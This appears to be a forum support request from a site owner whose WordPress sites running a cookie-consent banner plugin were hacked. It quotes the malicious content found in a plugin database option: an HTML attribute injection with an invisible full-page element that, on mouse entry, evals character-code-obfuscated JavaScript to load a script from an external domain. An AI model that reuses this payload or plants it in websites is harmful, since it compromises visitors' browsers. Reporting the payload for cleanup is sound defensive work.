Has your plugin been hacked?

Hello,
We’ve had a number of our websites report issues – all of which have the Cookie Consent Banner installed and all of the offending hacks were in the database option name: nsc_bar_bannersettings_json

Example content:

{ “content”: { “deny”: “”, “dismiss”: “”, “allow”: “”, “link”: “”, “href”: “\” id=’demo181′ style=’position:fixed;top:0px;display:block;height:3000px;width:4000px;border:0px solid red;’ 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onmouseenter=\”eval(String.fromCharCode(118,97,114,32,98,61,48,59,32,118,97,114,32,99,32,61,32,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,34,115,99,114,105,112,116,34,41,59,32,118,97,114,32,110,32,61,32,102,97,108,115,101,59,102,111,114,32,40,118,97,114,32,105,32,61,32,48,59,32,105,32,60,32,99,46,108,101,110,103,116,104,59,32,105,43,43,41,32,123,32,32,32,105,102,32,40,99,91,105,93,46,105,100,41,32,123,32,32,32,9,32,105,102,32,40,99,91,105,93,46,105,100,32,61,61,32,34,109,110,109,34,41,123,32,9,9,110,61,116,114,117,101,59,32,9,32,125,32,32,32,125,32,32,125,105,102,40,110,61,61,102,97,108,115,101,41,123,32,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,105,100,61,34,109,110,109,34,59,115,46,115,114,99,61,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,49,54,44,49,49,54,44,49,49,50,44,49,49,53,44,53,56,44,52,55,44,52,55,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,44,49,49,53,44,52,54,44,49,48,48,44,49,49,49,44,49,48,50,44,49,49,49,44,49,48,56,44,49,48,56,44,49,49,49,44,49,49,57,44,49,48,51,44,49,49,52,44,49,48,49,44,49,48,49,44,49,49,48,44,49,48,56,44,49,48,53,44,49,49,48,44,49,48,49,44,52,54,44,57,57,44,49,49,49,44,49,48,57,44,52,55,44,49,49,50,44,54,55,44,53,55,44,55,53,44,54,56,44,49,50,50,41,59,32,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,32,125,32,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,100,101,109,111,49,56,49,39,41,46,115,116,121,108,101,46,100,105,115,112,108,97,121,32,61,32,39,110,111,110,101,39,59,32,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,100,101,109,111,49,56,49,39,41,46,114,101,109,111,118,101,40,41,59));”, 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Can you confirm the best and most efficient way to resolve this please.

Thanks

Rob